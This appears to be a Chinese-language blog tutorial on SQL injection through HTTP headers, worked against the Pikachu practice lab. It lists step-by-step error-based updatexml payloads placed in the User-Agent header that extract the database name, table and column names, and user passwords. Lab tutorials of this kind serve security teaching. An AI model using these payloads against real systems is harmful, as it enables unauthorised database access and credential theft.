SQL注入（四）：http头部注入

最新推荐文章于 2024-04-08 21:21:23 发布

天威一号

最新推荐文章于 2024-04-08 21:21:23 发布

阅读量451

点赞数

分类专栏： MySQL

本文链接：https://blog.youkuaiyun.com/weixin_45273343/article/details/102879442

版权

本文探讨了SQL注入的一种特殊形式——HTTP头部注入，重点分析了user-agent和cookie字段如何成为攻击目标。通过抓包分析，揭示了user-agent用于传递浏览器信息，而cookie则涉及用户身份验证，这两部分都可能成为恶意注入的途径。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

user-agent

1、在pikahcu中进行；
2、登录账号进入之后，进行抓包；
3、在http头部中的 user-agent 进行注入 + ‘    看是否存在注入点；
4、出现报错 ，说明存在注入；
5、payload：
爆数据库：
User-Agent: ' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
爆数据表：
User-Agent: ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema="pikachu"  limit 1,1),0x7e),1) or '
爆数据表：
User-Agent: ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name="users" limit 1,1),0x7e),1) or '
爆数据信息：
User-Agent：' or updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) or '